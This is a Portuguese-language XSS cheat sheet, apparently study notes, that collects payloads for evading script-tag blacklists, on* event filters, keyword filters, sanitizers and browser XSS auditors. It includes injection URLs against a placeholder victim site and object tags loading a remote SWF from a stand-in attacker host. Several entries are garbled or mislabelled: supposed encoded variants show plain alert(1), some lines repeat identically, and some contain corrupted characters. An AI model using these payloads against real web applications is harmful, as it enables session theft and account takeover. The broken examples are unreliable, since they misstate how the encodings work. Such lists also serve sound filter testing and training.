Os dois principais cheat sheet para XSS:
https://html5sec.org/ https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Bypassing Blacklisting Filters
Injecting Script Code
Bypass no bloqueio da tag <script>
<ScRiPt>alert(1)</ScRiPt> // Upper e Lower case
<ScRiPt>alert(1) // Upper e Lower sem fechar a tag
<script/random>alert(1);</script> // Random string depois da tag name
<script // Newline depois da tag name
>alert(1);</script>
<scr<script>ipt>alert(1)</scr<script>ipt> // tags alinhadas
<scr\x00ipt>alert(1)</scr\x00ipt> // NULL byte
Bypass no bloqueio da tag <script> usando atributos do HTML
<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<object data="//hacker.site/xss.swf">
<object data="//hacker.site/xss.swf" allowscriptaccess=always>
Nos dois últimos exemplos, pode-se usar no endereço essa ferramenta:
https://github.com/evilcos/xss.swf
Bypass no bloqueio da tag <script> usando eventos do HTML
Normalmente o evento mais usado é o onerror:
<img src=x onerror=alert(1)>
Mas existem vários outros eventos que podem ser usados, uma lista com eles se encontra no link:
http://help.dottoro.com/lhwfcplu.php
Alguns exemplos:
// HTML 4
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)">
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
// HTML 5
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
É muito comum, do ponto de vista defensivo, bloquear eventos que comecem com on*, isso pode ser byppassado com:
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
Algumas regras mais avançadas conseguem bloquear esses payloads, elas podem ser bypassadas com os seguintes exemplos:
<svg onload%09=alert(1)> // Funciona em todos os browsers menos no Safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)> // IE somente
Uma lista de caracteres que podem ser usados entre o evento e o sinal de igual, ou antes do nome do evento:
IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
Como os browsers estão em constante mudança, existe uma ferramenta que realiza o fuzzing para descobrir os caracteres que podem ser usados de acordo com a versão do browser
http://shazzer.co.uk/vector/Characters-allowed-after-attribute-name http://shazzer.co.uk/vector/Characters-allowed-brfote-attribute-name
Keyword Based Filters
Character scaping
Imaginando um cenário onde a palavra alert está bloqueada (ignorando alternativas como prompt, confirm, etc…)
<script>alert(1)</script> // Block
// Sem funções nativa
<script>\u0061lert(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
// Usando função nativa
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
<img src=x onerror="alert(1)"/> // Block
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/> // Octal
<img src=x onerror="eval('\x61lert(1)')"/> // Hexadecimal
<img src=x onerror="alert(1)"/> // Hexadecimal Reference
<img src=x onerror="alert(1)"/> // Decimal NCR
<img src=x onerror="eval('\a\l\ert\(1\)')"/> // Superfluous escape
<img src=x onerror="\u0065val('\141\u006cert\(1)')"/> // Todos juntos
Construindo string
alert // Block
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
17795081..toString(36)
Execution Sinks
Lista completa com todos os sinks:
https://code.google.com/archive/p/domxsswiki/wikis/ExecutionSinks.wiki
setTimeout("JSCode") // Todos os browsers
setInterval("JSCode") // Todos os browsers
setImmediate("JSCode") // IE 10+
Function("JSCode") // Todos os browsers
[].constructor.constructor(alert(1)) // Variação de Function
Pseudo-protocolos
javascript:
javascript: é um URI scheme não oficial, usado para invocar código JavaScript com um link
<object data="javascript:alert(1)"> // Block (javascript:)
<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
Além do javascript: também existe o data: e o vbscript: (exclusivo do IE)
data:
Estrutura do data:
data:[<mediatype>][;base64],<data>
<object data="javascript:alert(1)"> // Block (javascript:)
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed code="data:text/html,<script>alert(1)</script>"> // Block (data:)
<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data&colon:text/html,<script>alert(1)</script>">
<embed code="data::text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
vbscript:
<img src=a onerror="vbscript:msgbox 1"/> // IE8
<img src=a onerror="vbs:msgbox 2"/> // IE8
<img src=a onerror="vbs:alert(3)"/> // IE Edge
<img src=a onerror="vbscript:alert(4)"/> // IE Edge
<img src=x onerror="vbscript:alert(1)"/> // Block (vbscript:)
<img src=x onerror="vbscriptΪlert(1)"/>
<img src=x onerror="vbccript:alert(1)"/>
<img src=x onerror="v�bs�cri�pt:alert(1)"/> // Null byte
Bypassing Sanitization
Removing HTML Tags
Frequentemente os mecanismos de segurança acabam sanitizando potenciais vetores de ataque XSS. O mais comum é o HTML encode que troca alguns caracteres como: < (<
) e > (>
). Em algumas situações o filtro vai remover a palavra chave como a tag <script>
Uma má configuração comum é remover somente o primeiro encontro da expressão, isso permite, por exemplo, realizar o bypass da seguinte maneira:
<script>alert(1)</script> // Block
<scr<script>ipt>alert(1)</script>
Alguns filtros realizam buscas recursivas, porém, normalmente eles são configurados para verificar uma palavra recursivamente e quando a verificação acaba ele vai para a próxima palavra, ao final ele não volta a verificar uma palavra que já passou.
Isso permite que o bypass seja realizado da seguinte forma:
<script>alert(1)</script> // Block
<scr<iframe>ipt>alert(1)</script>
Dependendo do vetor de ataque, também é possível usar algumas técnicas vistas anteriormente
Escaping Quotes
Normalmente quando conseguimos injetar um código JavaScript ele está dentro de aspas, e quando tentamos colocar alguma aspas para terminar a string ela é escapada com o \
Imaginamos o seguinte cenário:
<script>
var key = 'randomkey';
</script>
Nosso payload é injetado no lugar de “randomkey”. Podemos tentar realizar o bypass enviando também uma “\”.
Exemplo:
randomkey' alert(1); // <= Payload enviado
randomkey\' alert(1); // <= Resultado (Caractere escapado, não executando o alert)
randomkey\' alert(1); // <= Payload enviado
randomkey\\' alert(1); // <= Resultado (Só o \ foi escapado, permitindo finalizar a string)
Um método útil é o String.fromCharCode() que permite gerar strings a partir de uma sequência de valores unicode
String.fromCharCode(120,115,9416)
// 120 = U+0078 = Letra x
// 115 = U+0073 = Letra S
// 120 = U+24C8 = Letra S
// Outras formas
/Minha string/.source
43804..toString(36) // Base36
Também pode ser usado o método unescape para escapar uma string gerada com o .source, exemplo:
unescape(/%78%u0073%73/.source)
Adicionalmente a esse método existe o decodeURI e o decodeURIComponent. Nesse caso os componentes precisam estar com o formato URL encode
decodeURI(/alert(%22xss%22)/.source)
decodeURIComponent(/alert(%22xss%22)/.source)
Todos esses métodos retornam uma string, então é necessário usar um sink para executar o código, como por exemplo, o eval
Escaping Parentheses
Uma forma de executar o código sem usar parenteses:
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
onerror=alert;throw 1; // Versão simples
<img src=x onerror="window.onerror=eval;throw'\u003dalert(1)'"> // Encoded
Bypassing Browser Filters
Dentro da Tag HTML
http://victim.site/inject?x=<svg/onload=alert(1)> // Block
http://victim.site/inject?x=<svg/onload=alert(1) // Bypass XSSAuditor
// Cenário
<div>
Hello *Injection*
</div>
Dentro do atributo da Tag HTML
http://victim.site/inject?x=giuseppe"><svg/onload=alert(1)> // Block
http://victim.site/inject?x=giuseppe"><a/href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">clickhere<!-- // Bypass WebKit
// Cenário
Change your username
<input value="Injection"/>
Dentro da Tag script
http://victim.site/inject?name=giuseppe";alert(1);//
// Cenário
<script>
var name = "Injection";
</div>
Dentro de atributo Event
http://victim.site/inject?roomID=alert(1)
// Cenário
<button onclick="reserve(roomID);">
Reserve your sit!
</button>
DOM Basec
http://victim.site/inject?next=javascript:alert(1)
// Cenário
<script>
...
var next = location.search.replace("?next=", "");
domEl.innerHTML = "<a href='"+next+"'>next page</a>";